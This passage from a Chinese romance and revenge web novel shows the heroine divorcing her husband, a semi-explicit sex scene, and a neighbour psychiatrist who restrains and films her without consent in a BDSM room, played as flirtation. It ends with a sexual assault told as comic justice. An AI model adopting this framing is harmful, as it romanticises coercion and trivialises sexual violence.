白书远回道:“哦,那个啊。你王叔不是全家移民好久了,但房子一直找不到人接手。正好前几天叙医生跟我说想找个清净的房子落脚,我就给他俩牵了线,没想到最后还真成了。这下好了,以后我们就能和叙医生做邻居了!”
安夏也很开心,补充道:“是的,叙医生说把他的工作室也搬来这里了,将来我去咨询也方便,还能时不时过去串门啦!”
白绯有些一言难尽地咂了咂嘴。叙白的所作所为虽然大胆,但到底也只是性癖奇葩了些,并没有伤天害理。白绯也不好拿这个和大家说,尤其是白书远这样的长辈,光是想想都觉得脚趾抠地。
她只好偷偷地给众人上眼药:“我总觉得叙白这个人有点邪性。也许那个女孩子自杀,就和他有关呢?”
白书远却不赞同,面色严肃地叮嘱道:“绯绯,我们说话要讲究证据,随便编排人可不好。”
就连安夏也一脸呆萌地替叙白说话:“绯绯姐,虽然叙医生是医生,但也治不好所有人的病呀!”
只有小施低声嘀咕了一句:“其实我也觉得叙医生有时候还挺让人害怕的....”
“好了。”白书远一锤定音,“除非有确凿的证据,胡乱污蔑人清白和诋毁他人职业道德还是要不得的。如果觉得不喜欢他,就少和他来往就行了。绯绯,你先上去洗洗换身衣裳吧,不然一会儿你妈回来看见你这一身也得被吓出心脏病来。跌打药油买好了吗?”
祝临川提起手上的袋子,示意都在里面:“放心吧,白叔。”
白书远欣慰地拍拍祝临川的肩膀,夸赞道:“还是小祝你靠谱。”
祝临川得了夸奖,沉稳地点了点头,抱着白绯上了楼,白绯舒服地窝在他怀里,心里却琢磨着,若是叙白老老实实待着别来招惹,那他们就井水不犯河水。若是他非要来找事,那自己就干脆找找机会把他的秘密扒出来,也算积德行善了。
心里想着事,她便有些心不在焉,在被祝临川放在椅子上后抬手拍拍他胳膊,把他打发了出去:“你也去洗洗吧,累一天了,早点休息。”
祝临川看着白绯的脸若有所思,半晌后沉默地点点头,走出房间带上了门。
进浴室前,白绯走到窗边拉开窗帘往外看了看,正好看见三辆搬家卡车陆续在对面的别墅前停下,叙白抱胸站在门口台阶上,脸朝着自己房间的方向。
她拉上帘子遮挡住对面的视线,单脚蹦进了浴室。脚踝的扭伤不严重,只是略有些红肿。白绯洗漱完后便坐在床上,从床头柜上的袋子里掏出冰袋先冷敷。
正敷着呢,陆寻的电话打了进来。
白绯腾出一只手接通电话,下一秒,陆寻欢天喜地的声音就隔着听筒传了过来。
“绯绯姐,罗渣渣一家去婚房了,结果都被拦在外面进不去了!”
白绯把冰袋扔回床头柜上,舒服地半靠在床头,勾着唇笑着回道:“当然进不去,我告诉他的是假密码。”
果然下一秒,电话那头就传来了惊天动地的密码锁报警声。
陆寻隔着电话吃吃地笑:“哈哈哈,活该,他们一家子这两天脸都肿成了猪头,哎哟,好多人过来围观了,连保安也过来了!”
拿尿和泥捂了这么多天脸,脸
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能不肿吗?
那头的罗峻辉之前的旧伤未好,又添新伤,脸上痒得犹如千万只蚂蚁在血肉里爬,怎么挠都解不了那钻心的痒意。
他全靠着能搬回婚房这点念想才咬牙坚持了三天,结果临到最后却被挡在了门外。眼看着围观人群越来越多,他也顾不上招呼祝金花和罗雪萍,捂着脸就先躲进了楼道。
怎么回事,为什么会进不去?难道是我记错了密码?
罗峻辉一边疯狂地挠脸,将脸上抓出了好几道血痕,一边掏出手机给白绯打电话。这几天顾怜心给他打电话,让他立刻把老娘和姐姐赶出去,不然就去医院把他的孩子流掉!
没错,他要当爹了!罗峻辉喜出望外,哪里舍得,当下就满口应承下来。天知道,他最近一直因为雄风不再而忧愁,怕老罗家的香火断在自己这里,结果老天庇佑,竟在这个节骨眼上等到了这个好消息!这回说什么他都得把祝金花赶回婚房,让顾怜心能安安心心把他的孩子生下来!
然后电话却无法接通,罗峻辉这才发现,自己竟然被拉黑了!怎么回事?他一头雾水,前几天不是还好好的吗?白绯这是在发哪门子疯?
仿佛就像是老天也要打他的脸,手机上突然收到了一条短讯。罗峻辉鬼使神差点开一看,赫然是法院的短信,原来白绯已经向法院提起了离婚申请,不日就要开庭!
这一下犹如晴空霹雳,将罗峻辉打得几乎魂飞魄散。他回忆起新婚夜至今的总总,后知后觉原来一切都是白绯的阴谋!
罗峻辉头脑一片空白,他回想起三天前签的那份婚前协议,后背直起白毛汗。
完了完了完了!罗峻辉抖如筛糠,眼前发黑,踉跄着扶住墙才勉强站稳。白绯答应的五百万必然是打了水漂,然而只怕连这套婚房,自己也分不到一杯羹了!
回想起协议里的条款,罗峻辉赶紧给顾怜心发短信,叫她务必要守住秘密,否则,只怕连自己的财产也不保!
等罗雪萍和祝金花在围观众人的指点下灰溜溜离开后,就看见罗峻辉魂不守舍地瘫坐在楼道地上。
“峻辉,峻辉,你这是怎么了?”
祝金花看着自家儿子的模样,大呼不好,心道莫不是那邪煞已经上了我儿的身?
她一边鬼哭狼嚎,一边甩手就给了罗峻辉狠狠一耳光。“快回魂呐,峻辉!”
只听啪地一声脆响,罗峻辉被打得狠狠偏过了头。
祝金花那手劲可不是吹的,罗峻辉原就红肿不堪的脸上瞬间又多了个鲜红的巴掌印。他挨了这一下,涣散的双目才重新聚焦。
罗雪萍心里犯怵,悄悄往后退了几步,远远地观望着他,心道,邪祟啊邪祟,你既然已经缠上了我弟弟,可不能再缠我了哦。
祝金花倒是心急如焚,眼看着罗峻辉还是一副神游天外的模样,咬着牙就要再给他来一下。
巴掌还没落下,终于被回神的罗峻辉抬手挡住。他声音沙哑,宛如泣血:“妈,我们完了。”
而这一切,都被陆寻完完整整拍进了摄像头,然后传到了白绯手机里。
白绯把受伤的腿抬高,搁在床尾的被子上,悠闲地躺着欣赏手机里罗峻辉狼狈的模样。
她占据了白绯的身体,如今也算报了一部分恩德了。想到原书中白书远夫妇晚年凄惨,含恨而终,她就觉得仅仅是这个程度,远不够解气。
就在这时,门突然被敲响,白绯抬头,就看到祝临川正站在虚掩的门边静静地看着她。
26. 探险
“怎么还不睡?”白绯惊讶地抬头看去,半湿的长发随着她的动作扫过平直凹陷的锁骨,却像是扫在祝临川的心头,带来一点难言的酥痒。
“不放心,过来看看你的伤。”祝临川插在裤兜里的手微微蜷了蜷。在得到白绯的许可后,他抬脚走了进去,反手轻轻合上了门。目光扫过床头的药袋,冷敷包被孤零零扔在一边,袋子里的药油却明显还未拆封。
“不过是点扭伤..."白绯不以为意地摆摆手,继续低头欣赏手机里罗峻辉的惨状,却突然被祝临川不容拒绝地伸手抓住了小腿。骨节分明的五指用力,白皙柔软的小腿软肉被掐得微微鼓起。
这下白绯也顾不上再看手机了,她惊呼一声,被祝临川抓着小腿轻轻往下拖了拖,上半身后仰着半靠在了床头。
这什么强制爱名场面啊…
“别动。”温热的大掌托着白绯的脚心,将她的腿轻柔地搁在了膝头,弓起的足则被迫踩在他紧绷的腹肌上。随着辛辣的药油气味在空气中炸开,祝临川的五指贴上了白绯突突跳动的血管,沿着红肿的脚踝开始缓缓推压。
随着他的动作,手臂上青筋弹动,脚下的腹肌不断紧绷,一直摩擦着敏感的脚心。
白绯吃痛,低低喘了一声,伸手抓皱了身下的碎花床单。生理性的泪水充满了眼眸,她下意识想要抽回腿,却被祝临川牢牢扣住,无法动弹。
随着有力的按压,药油在掌心与皮肤之间变得粘稠,白皙的皮肤逐渐漫上绯红,旖旎之态犹如往日她的主人情动之时。
白绯脱力地躺在床上,小臂横在眼前,唇色被她咬得艳丽如玫瑰。随着祝临川手下力道突然加重,白绯不由惊喘一声,膝盖一弹,脚下不经意间竟踢到了祝临川的胸口,隔着薄薄的T恤传来的是他如擂鼓般的心跳。
当祝临川终于结束按揉的时候,白绯已被疼出了一声细密的汗。
“好了吗...唔...”白绯气若游丝地问道,将横在眼前的小臂拿开,抬头却猝不及防地撞进了祝临川的视线。未出口的话又被她咽回了嘴里,白绯眼睁睁看着祝临川一瞬不瞬地注视着自己,托着自己完好的那条腿,低头将唇轻轻印在弓起的脚背上。
今天的祝临川和往日的乖巧不同,像头企图噬主的野兽。
轻柔的吻随着小腿一路往上,柔软白腻的小腿肚因为这又痒又热的触感不由自主绷紧,圆润的脚趾蜷起,脚掌在祝临川的掌控下被带着一路向下,直到踩住某处柔软。
“呵...”祝临川重重喘息了一身,就那么盯着白绯的眼睛开始动作。
白绯看着他紧绷的肌肉和起伏的喉结,看着那些汗珠从他额头滑落,顺着下巴滴落。她懒懒地轻笑了一声,接受了这场勾引,低低喘息着伸出一根手指,朝祝临川挑逗地勾了勾。
被欲望煎熬的小狗就这么凑了过来,看着气势汹汹,择人欲噬,但是落下的吻却很像在亲吻一朵娇嫩的玫瑰。
白绯用手肘支撑着抬起上身,轻咬着祝临川的唇痴痴地笑,又去舔他滚动的喉结,泛红的耳廓。
“我喜欢你粗暴一点...”
祝临川深深吻了下去,唇舌纠缠间,白绯嘴里的空气都被夺走,几乎窒息。今天的小童工格外卖力,然而动作间也很小心,一直护着白绯的脚踝,不让她因此受伤。
等胡闹完,白绯筋骨酥软,把腿搁在祝临川笔直结实的长腿上,躺在他的怀里平复气息。她的脸枕在祝临川结实的胸膛上,听他砰砰的心跳。
“小童工,今天怎么热情,简直像要把人吃了似的。”白绯伸出手指在祝临川的腹肌上乱划,直到它的主人不堪其扰,拢住了她的手与她五指交握。
祝临川吻了吻白绯的手背,声音里还带着事后的沙哑,却也有一丝难掩的紧绷:“阿姨说,你已经提起了离婚诉讼,很快就能和罗峻辉离婚了。”
“对啊,怎么,要替你表哥讨个公道?”白绯漫不经心地调笑道。得到精神和□□的双重餍足让她有些昏昏欲睡,正想闭上眼睛,不想却被祝临川接下来的话炸得睡意全无。
“我想要个身份。”祝临川的下颌抵在她的发顶,呼吸灼烧着头皮,胸腔里的心跳快得白绯怀疑它是不是都快跳出来了。
然而事实上,她却并不比祝临川淡定多少。
“什么身份啊哈哈,不想当小童工了吗?”白绯打着哈哈敷衍,尴尬地鼻尖冒汗,“好了好了,明天就给你升职,整个CEO当当。已经很晚了,你先回去休息吧。”
她从祝临川怀里下来,伸手把人往床下赶,犹如事后提起裤子不认的渣男。
祝临川却突然翻身压住她,眼里的光亮得骇人,执拗地看着她:“你知道的,我想要的不是这个。”
白绯心虚地看天看地就是不敢看他,只是沉默以对。
祝临川眼里的光暗了下来,眼神湿漉漉的像是被抛弃可怜的小狗。
白绯被他这么可怜巴巴注视着,差点就心软想要答应了。不过是一个名分,给谁不是给呢?
然而她最后还是艰难地守住了本心。与其给人虚假的希望,让人越陷越深,倒不如一刀给个痛快。原本,她就是阴差阳错才与祝临川搅和在一起,趁此机会断了也好…虽然祝临川无论是长相、性格还是床上功夫都很合她胃口…
白绯有些惋惜地咂咂嘴,双手流连地抚摸身上人紧实的背肌,以后还不知道有没有机会再摸了呢…
她的沉默无疑已说明了一切,虽然片刻前二人才在这个房间发生了世界上最亲密的接触。
祝临川声线颤抖,仿佛带着哭腔:“是我哪里做得还不够好吗?”随着话音落下,有滚烫的泪顺着他的脸颊落下,砸在白绯锁骨凹陷处,竟烫得她慌乱不知所措起来。
不是,这怎么还哭了?
白绯这辈子见过很多人哭,却还从来没有人因为她落泪。她被这滴泪砸得当场懵圈,鬼使神差伸手去接,泪滴在她的手心凝聚成珍珠的形状。
“唉,你别哭呀。”
祝临川猛地低头,把脑袋埋在了白绯胸口,纯棉的睡裙领口很快洇出一片水渍。
白绯把五指插入他发间轻柔抚摸,困倦的大脑被迫高速运转:“你挺好的,又是名校高材生,长得也高也帅,何必单恋我这只花呢?你该把眼光放回学校里,青春靓丽的女大才适合你,你老盯着我这么个要离婚的女人做什么...”
“我就要你。”祝临川却油盐不进,就这么埋在她怀里闷闷地回道。他伸出双手环抱住白绯的细腰,毛茸茸的脑袋直往人怀里拱。
“那我们就先保持现在这样的关系不也挺好的嘛!等你以后找到心仪的女孩,我们再...”
白绯原本只想着先安抚住祝临川,却没想到他突然开口应了声“好”。
祝临川把下巴轻轻
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搁在白绯肚子上,睁着水汪汪的眼睛定定地注视着她,脸上还有未干的水渍,“你答应我了,我们先保持这样的关系,直到我提分开。”
“额...”白绯总觉得有哪里不对,但是又一时挑不出毛病。左右她确实因为上次精英男的事件对外头的男人不放心,祝临川又正好合她心意,便犹豫地点头答应了。
祝临川见到她点头,就像吃了糖的小孩,眼里瞬间有了光,黏黏糊糊地搂着她亲个没完。
白绯总有种自己上了贼船的感觉,她拧着眉琢磨了半天也没想出个所以然来,索性就不再管,躺在祝临川怀里睡了。
陷入沉睡的她没有注意到祝临川一改之前软糯可怜的模样,双眸沉沉地注视着她,眼里满是偏执的占有欲。
第二天,小楼里其他人都去出单了,只留下脚没好利索的白绯躺在小院子里纳凉,没想到却来了个不速之客。
叙医生穿着一身白大褂,脸上架着一副金丝眼镜,活脱脱一个衣冠禽兽,风度翩翩地朝小楼走了过来。
他走到白绯的躺椅边站定,居高临下地注视着她,脸上的笑容很欠揍:“邻居,你好啊。”
白绯闭上眼不欲搭理他,脑中却又浮现出昨日他半身浴血的模样。
既然今天叙白自己送上门来,不如趁这个机会干脆去他的房子里打探打探,也许能发现什么蹊跷?
思及此,白绯又睁开眼睛,却不成想被眼前的大脸唬了一跳。不是叙白又是谁?
这人也不知道怎么想的,竟然趁她闭眼的时候弯腰凑到了她面前一错不错地盯着她,眼底满是疯狂的笑意。
白绯伸出一根手指,戳着叙白的脑门将人推开,干咳一声,夹着嗓子道:“叙医生,恭喜你乔迁新居。我可以去你家里参观一下吗?”
叙白镜片后的眼睛闪着兴味的光,大方地点头道:“好啊,不胜荣幸。那么,乔迁礼物带了吗?”
白绯站起身,随手从路边掐了一把野花,头也不回地塞进了叙白怀里,敷衍道:“鲜花赠美人,不用谢。”
叙白看着怀里的一蓬乱糟糟的野花,里面甚至还夹着几根狗尾巴草,竟然也不嫌弃,笑着拢了拢。
白绯不耐烦等他,早已先主人一步,率先迈开腿往别墅走去。
今天她的扭伤已经大好,于走路无碍,只是还走不快。
白绯边走边回忆着书中的剧情。原书中并没有出现叙白这个人物,至于对面这栋别墅后来是如何处置更是无从得知。
她兴致勃勃地走进花园,打量着眼前这栋三层别墅。不知里面是否隐藏着什么不为人知的秘密?毕竟这个叙医生实在看着就像个反派。
她走上台阶推开房门,入眼的挑高六米的宽阔客厅,中央装着气派的水晶吊灯,地板上摆着一张柔软舒适的墨绿色皮质沙发。
“坐。”叙白越过白绯,走到西侧的岛台,将上面花瓶里插着的鲜花抽出,毫不留情地扔进了垃圾桶,之后又将手里的那把野花插进了花瓶里,边调整位置边问道:“喝点什么吗?”
白绯翘着腿坐在沙发上,眼睛却在到处乱转。她嘴角抽搐着拿起茶几上大脑模样的烟灰缸看了看,又嫌弃地扔了回去,随口回道:“拿铁。”
叙白笑着应了声好,扭头去了一侧的水吧操作。
白绯趁他磨咖啡豆的功夫,悄悄地站了起来,踩上了胡桃木的旋转楼梯。
27. 中计了
等叙白端着咖啡杯回到客厅的时候,沙发上早已空无一人。
“真是调皮的客人啊…”叙白盯着沙发上凹陷的褶皱,轻笑着将杯子放在了茶几上。
他好整以暇地脱下白大褂,扶了扶金丝眼镜,眼底闪着兴味的光,斜倚在一楼的楼梯扶手处,抬头看着二楼,嘴里轻声呢喃:“那就让我们来玩个游戏吧。”
而此刻的二楼,白绯正站在宽敞的诊疗室里。
诊疗室中央摆着两张沙发,中间隔着一个茶几,上面有插着鲜花的花瓶,还有一支钢笔和一个烟灰缸。诊疗室另一边则是摆得满满的金属书架。
白绯抽出书架上最外侧的蓝色文件夹,扉页贴着一张拍立得。照片上穿着校服的少女眼袋青黑,泪沟凹陷,看起来状态不太好。但她仍艰难地挤出笑意,有些怯怯地注视着镜头,面容青涩又腼腆。
白绯记得这张脸,上次仓促一瞥间,这张脸的主人正躺在担架上被推进抢救室,面色惨白如纸,毫无血色。
白绯捏着纸张的手指蜷了蜷,快速地浏览起女孩近期的诊疗记录。
病历上的钢笔字遒劲锋利,然而记录的病人状况却并不好。女孩名叫程莉莎,被送来叙白处治疗时已经诊断重度抑郁,近期更是出现解离性失忆,还有高度自残倾向。
根据诊断,似乎是在学校里遭遇了霸凌,然而却被父母指责是她自己有问题,才会如此不合群。为什么偏偏是你遭到霸凌,不是别人?一定是你自己有问题。
非常典型的受害者有罪论。
少女求救无门,却始终未曾将刀锋对准她人,而是选择伤害自己。她渐渐相信,一切的缘由都是出于己身,自己活着才是原罪。
在最后一则记录上,洇开的墨渍上写着“割破颈动脉自杀就医,医院治疗中。”
看来是救回来了...
白绯吁了一口气。之前她对女孩也不过是路人的惋惜,然而如今对她越是了解,心中就越是替她感到难过与愤怒。
以前白绯在福利院生活,也没少遇见被欺负的事,但是她的性格从来如野狼,宁可与人同归于尽,都绝不会放过欺辱她的人。这种不要命的狠劲让人害怕,渐渐地竟然也无人敢小觑她了。
陈莉莎无疑是个善良得甚至称得上软弱的孩子,世界上的恶意却尤其喜欢找上这样的人,他们有些精准的直觉,总是能挑出软柿子,来实施自己的暴行。
她想,也许该挑个机会去见见女孩。既然有缘遇见,也许程莉莎也在等着自己助她一臂之力呢?
至于叙白有没有在程莉莎的治疗中使坏,她是个外行,在病历上也看不出什么猫腻,只能遗憾地放了回去。之后,她又随手抽了几本翻看,依然一无所获。
白绯整理好书架,托着下巴站在房间里沉思。一开始,她还以为自己会发现什么不同寻常的东西,比如什么血腥照片、血腥视频之类的。或者更甚,也许还会有什么隐藏的密室。
但事实上,这里的一切看起来都很平常,就是一个寻常的人类工作室兼住所的样子,甚至可以说,比一般的男性房间都要整齐、干净甚至有品位。
就在白绯准备放弃的时候,却突然听到叙白的脚步声一路越过二楼,直奔三楼而去。
难道三楼有猫腻?白绯眼睛一亮,越想越觉得有可能。
叙白在发现自己不见后,一定会担心秘密被发现,于是第一时间直奔藏着关键信息的地方而去。那岂不是只需要跟着他,就能不费吹灰之力找到他最大的秘密了?
白绯几乎是立刻就准备开门尾随而去,余光不经意扫过桌上的花瓶,犹豫地顿了顿。
要不带上花瓶防身?这瓶子小巧趁手易隐蔽,发生紧急情况的时候往叙白脑袋上那么一砸,保管当场给他开瓢,实在是杀人越货的利器。
思及此,白绯掉转脚步直奔茶几,薅起花瓶就准备走,结果一使劲,花瓶纹丝不动。
嗯?怎么回事?
白绯一头雾水地蹲下身细看,才发现花瓶竟然是被严严实实粘在桌子上的。
叙白这是什么毛病?怕花瓶碎了?
白绯视线一转,又瞄上了边上的钢笔。既然花瓶拿不了,钢笔也不错,笔帽一拔,往眼睛之类的脆弱部位扎,也能让人瞬间失去攻击能力。就是它了!
白绯的手又转而伸向了钢笔,然而竟是又没能拿起来!
钢笔竟然也是被粘在桌子上的!
白绯不信邪地又去掰桌上的烟灰缸。果不其然,也被固定住了。
这个叙白到底什么毛病,就这么担心被病人暗杀吗?到底是经历过多少次在谈话中被暴怒的病人攻击的经历啊?原来心理医生也是这么高危的职业吗?
眼看着已经耽搁了不少时间,白绯担心再不出去,等叙白把关键证据都藏好了,到时黄花菜都凉了,只能匆匆先出门,往三楼循声而去。
她摸了摸口袋里正在录音的手机,实在不行就拿它当板砖砸吧!只可惜不是诺基亚,威力大打折扣,不过这也是没办法的办法了!
等白绯三两步跨过台阶走到三楼,果然看到叙白正一脸心虚地站在某处房间门口往里看,发现里面没人后,才露出如释重负的表情。
看来就是这儿了!
“唉,叙医生,你怎么跑这儿来了,害我找半天。”白绯先发制人倒打一耙,一边嚷嚷着一边就往叙白怀里拱,把人硬生生从门边挤开,兴致勃勃地伸着脖子往里看。
房间里的一幕让人震惊。只见里面摆着满满的情趣用品,琳琅满目粗细不一的皮鞭软鞭,蕾丝缠绕的手铐脚链,甚至还有一个金属架子,上方吊着皮质束缚带。
啊啊啊,眼睛要瞎了!
白绯猝不及防间看见这些下流玩意儿,头脑一片空白,踉跄着就往后退。裸露在外的手臂不小心碰到墙边燃烧的低温情趣蜡烛,被蜡油烫得轻嘶了一声。
刚才还拦着不让人进的叙白一反之前的态度,用胸膛挡住了白绯的退路,将人堵在门口,右手强硬地掐着白绯削薄的肩,左手拇指擦过她的颈动脉,将她垂落的乱发捞起,轻轻搭在肩头,嘴里调笑着:“怎么不进去了?刚才不是还急着想看?”
这下白绯也知道,这瘪犊子刚才的做派就是故意的,自己这是着了人家的道了。
她气得双颊飞起两团红晕,贝齿咬着下唇,在唇上留下一道浅浅的齿痕,唇色因为充血而显得娇艳欲滴。
“叙医生,你是有暴露癖吗?”白绯气得胸膛起伏,伸手揭掉手臂上凝固的蜡滴,狠狠扔在地上,还泄愤似地踩了踩。
叙白居高临下看着怀里的人挣扎,语气轻快:“你看你,又打不过我,还敢自己一个人摸进我的地盘。这么弱小,连生气在我看来也不过是调情,是什么给了你勇气呢?还不是仗着我喜欢你,赌我不会伤害你?”
放屁!说谁弱小呢?
白绯曲起腿就想给他见识下自己的踢裆神功,叙白却跟早就防范着似的,伸手在她背后重重一推,就将人推进了屋里。
白绯踉跄着扑在了前方的情趣沙发上,还没能站起来,垂落在沙发边的左手腕和右脚踝就被上面带着的镣
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铐给铐住了。
叙白轻笑着从后将她虚压在沙发上,在白绯的后脖颈上印下一吻。
白绯咬着牙曲肘向后捣,却被叙白敏捷地躲开,手却已经又伸进了她的口袋里,再次顺走了手机。
手机在白绯脸前一照,就又被解了锁。被梅开二度,白绯眼前一黑,心下发誓,回去就把这个该死的刷脸解锁关了!!!
叙白翘着二郎腿坐在边上的情趣椅上,边划看她的手机边笑道:“还录着音呢…前面的没意思,我给你删了,从现在开始录吧,到时给我留一段做纪念。不对,只录音多没意思,还是干脆录个视频吧。”
白绯被迫趴跪在沙发上,艰难地扬起自己的脸不和沙发亲密接触,咬牙切齿地威胁叙白:“你给我松开,脏死了!”
叙白把手机屏幕对准白绯,让她看自己如今的模样。屏幕里美人脸颊飞红,桃腮带雪,再配上这被束缚的暧昧姿势,实在是让人血脉偾张。
“放心吧,这里的东西都还是全新未使用的呢。一般人哪有资格来我这里?”
还给他得瑟上了。
白绯冷笑道:“那这么说我该谢谢你了?”
“不客气。”叙白欣赏着她如今狼狈的模样,语气很是无辜。
好在他并不准备真的对白绯做些什么,只拿着屋里的情趣用品逐一与她介绍,将白绯气得炸毛后才松开了她手脚上的镣铐。
白绯感觉自己的精神受到了凌辱,满脑子都是叙白拿着软鞭讲解怎样的角度与力度才能让受鞭笞者痛并快乐。
在终于得到自由后,白绯夺过手机就头也不回地逃出了别墅。
叙白插着兜在后面十八相送,直到被白绯一铁门拍在小楼院外,才笑着耸耸肩,停住了脚步。
“欢迎下次再来玩。我们还没来得及讨论蜡烛的滴法呢!”
叙白站在栅栏外冲白绯的背影扬声道。他目送白绯气鼓鼓地走进小楼并砰地一声关上门,才意犹未尽地转身离开。
白绯拿着手机气鼓鼓地上楼,把手机的面容解锁删除,又将录下的视频毁尸灭迹,脑子里琢磨着怎么把叙白碎尸万段。
路过白书远房间时,正好看见周芸在揉膝盖。她眉头一皱,放下手机就走了过去,半蹲在她膝边,边给她揉捏边担心地问道:“妈,是腿疼吗?”
“嗯,不妨事,老毛病了。”周芸慈爱地摸了摸白绯的脑袋,笑着回道。
白绯却并不放心,再次劝道:“今晚你和爸就搬回市里吧,别再这儿过夜了,这里到底还是阴冷。”
周芸想了想,有祝临川在这里陪着,倒也放心,便应了下来。只是临走时,依然和他二人千叮咛万嘱咐,一定记得把监控报警模式打开,记得锁门,陌生人敲门也别随意开。
白绯从小独立自主,何曾被人当没有自理能力的小宝宝般叮嘱,心里又暖又好笑,却也没有不耐烦,只一一笑着应承了。
等她和祝临川送别周芸二人后关上门,白绯突然就坏笑着掐着祝临川的下巴,踮脚亲了上去:“这下就剩我们俩了,你可跑不掉了。”
祝临川抿了抿嘴,眼里满是汹涌的欲望,被白绯牵着衣角,一步步拉上了楼。二人正准备胡闹,手机里的监控app却突然开始疯狂报警。
此时白绯已经脱得几乎□□,正坐在祝临川腰上和他热吻,闻声立马抓过手机查看。
只见摄像头里,王总老祖宗价值6888888的风水宝穴上,有一个鬼鬼祟祟的黑影正拿着榔头铁铲疯狂打砸。
了不得,竟是碰上盗墓贼了。
28. 恶有恶报
凭盗墓贼那铲子榔头,只能给王总家的宝穴破个皮。别说外层的石室有多厚根本砸不穿,就连缝隙处都已经用水泥和玻璃胶完全封死,寻常工具根本没办法破开墓穴取得里面的东西。
白绯拢着被子盖住自己,曲着两条光裸的长腿坐在床边看着监控里的动静,细腻修长的小腿上还印着绯红的吻痕。
祝临川从她身后靠过来,一边啄吻她的脖颈,一边从她肩头垂眸看着屏幕上的盗墓贼,问道:“报警吗?”
白绯被他吻得浑身酥麻,偏头回了他一个热吻,气喘吁吁地回道:“已经报警了,监控一键直连警局,等着警察过来就行了。”
然而那小贼眼看着王总家的墓穴偷盗无望,竟然朝着小楼的方向走了过来,手里还拿着把寒光闪闪的剔骨刀,在月光下泛着冷光。看样子,这是劫不成死人的,准备劫活人了。
这下白绯的心也揪了起来,她匆匆裹上衣服就要往楼下赶:“我去确定下门窗有没有锁紧。”
祝临川却拉住她的手将人拽了回来:“你回来吧,我去。”
他穿上衣服,先去二楼厨房里拿了把西瓜刀,然后才沉着脸去了一楼。
手机监控里,那鬼鬼祟祟的小贼已经爬进了小院,正扒在小楼门板处捣鼓着门锁。
祝临川紧了紧手里的西瓜刀,心里攒着一股狠劲。
这辈子,他被命运夺走了很多东西,好不容易找到了想要的人,谁也别想伤害她。
就在祝临川正在心里过着人体解剖图,想着万一门开了,是直接攻击头颈,还是重击喉结,亦或是直接拿刀捅破肝脏的时候,耳边却突然想起一道鬼鬼祟祟的声音,惊得他几乎没握住手里的刀。
“临川,你说我是先打开开关还是等那贼进来再开?”
原来是白绯,她也下楼了,并且还悄无声息地摸到了祝临川身后,把他吓了一跳。
祝临川垂眸看着白绯手里的东西,表情很是一言难尽。怎么回事,怎么突然就觉得手里八十厘米的大刀有点不够看呢?
白绯提溜着手里的油锯,表情看起来很是为难,她附在祝临川耳边轻声问道:“这是我以前买来锯骨头的,一直没派上用场。临川,我要是等那小贼破门进来再打开开关,会不会很容易被他反抢走武器啊?但是现在就打开动静会不会太大,打草惊蛇反而把他吓跑了?要不…我们干脆趁他不备,先发制人直接冲出去?”
祝临川艰难地张了张嘴,又闭上。这门是非开不可吗?还是门外的人非死不可?
他斟酌了下后才开口道:“或许还有一个选择,我们可以守在门里等警察来。毕竟,我们的主要目的是让他不能伤害我们,而不是把他骗进来杀…”
白绯竟然还有些失望,她跃跃欲试地盯着门口:“好吧,希望他动作快点,我感觉自己现在强得可怕。”
祝临川:…
一时间竟很难判断到底是门里的人更可怕,还是门外的人更可怕。
好在警察终于赶到,将门口撬锁的贼人人赃并获。白绯有些失望地撇了撇嘴,打开了门。
门开的一瞬,祝临川看到门口的警察小哥瞳孔地震,就连原本还在叫嚷挣扎的盗墓贼都神情空白了一瞬,乖乖地闭上了嘴,不再挣扎,温顺地被押上了警车。
白绯和警察道谢,站在小院门口目送警车呼啸离去,神情很是遗憾。
这边的动静这么大,自然也引起了叙白的注意。他穿着一身睡衣站在别墅门口,抱胸看着对面二人。
“这是怎么了,遭贼了?”
白绯沉着脸启动油锯,皮笑肉不笑地对叙白威胁道:“是啊,叙医生,要不要我也替你巡逻巡逻,看看是不是还有同伙混进你的别墅了?”
叙白看着拿着电锯的白绯双眼放光,竟然侧身做了个邀请的姿势:“好啊,在下的荣幸。”
白绯如今有武器傍身,膨胀得很,正准备一雪前耻,却被祝临川拉住了手。
祝临川斯斯文文冲叙白一点头,道:“今天就不去了,我和绯绯还有事。”
说完,他就低头看着白绯,一副欲语还羞的模样:“不回去继续方才被打断的事吗?”
白绯看看祝临川,最后还是被美色打败,放弃了和叙白做对,懒散道:“想来叙医生有那么多的鞭子,就算有那不长眼的上门,也只有挨抽的份,用不着我帮忙。”
说完就扭头牵着祝临川的手,准备打道回府。
她没注意到的是,祝临川充满占有欲地揽着自己的肩膀,回头和叙白冷冷对视。
夜风吹起白绯的长发,颈侧暗红的吻痕在月光下却吸引了叙白的全部视线。
“呵…”他目送二人离去,嘴角噙着一抹冷笑:“果然天真,以为盖了章的东西,就不会被抢走了吗?”
由于怕周芸和白书远担心,白绯和祝临川一致决定将这事瞒了下来。她原本想去医院看看程莉莎,不成想却又接到一个订单,比上次巨人观的家暴男还难处理。
这次的逝者是个中年黄毛,黄赌毒无恶不作,平日靠啃老和勒索度日,整日在街头游荡。有一天偶然遇见一个放学回家的初中女孩,色心大起,将女孩捂住嘴拖进了小巷子里欲行不轨。
危急时刻,却出现了一名壮汉。女孩仿佛看见了希望,向壮汉求救。然而壮汉却问道:“我可以加入吗?”
小女孩当时听到这个回答,天都塌了。黄毛却喜上心头,欣喜答应。就在小女孩心如死灰放弃挣扎的时候,壮汉却把黄毛摁倒,撕烂了他的衣服。
小女孩听着黄毛痛苦的哀嚎,愣了足足有十分钟,才终于想起来逃跑。等浑身是伤的女孩带着家人赶来,壮汉早已消失不见,只留下黄毛衣衫不整地躺在地上,气若游丝。
当然,女孩的家人目标也不是这名壮汉,几人将捂着屁股躺在血泊里的黄毛一顿暴揍,之后就扬长而去。
黄毛最后被路人送进了医院,等出院后,再也没敢如从前般在街头游荡。当时的事闹得很大,很多人都知道黄毛被人走了后门,只要看到他就不乏闲言碎语。
“啧,肯定是他自己穿的太骚。你看那紧身裤勒得…”
“就是就是,一个巴掌拍不响,苍蝇还不盯无缝的蛋呢!”
“也许是他自愿的呢,当时我们这么多人,也没听见他求救啊!”
黄毛羞愤欲死,而且,遭遇过这件事后,他身上还出现了更大的问题-他不举了。
黄毛去药店买了壮阳药,特意找了个小姐来试效果,结果却没有任何效用。小姐没忍住嘲笑了他几句,被恼羞成怒的黄毛殴打后赶了出去。他越想越气,竟吞了一整盒药,还干了一瓶白酒,正准备再叫个小姐,就一命呜呼了。
直到邻居闻到无法忍受的恶臭后报警,才发现原来黄毛已经死去多日。
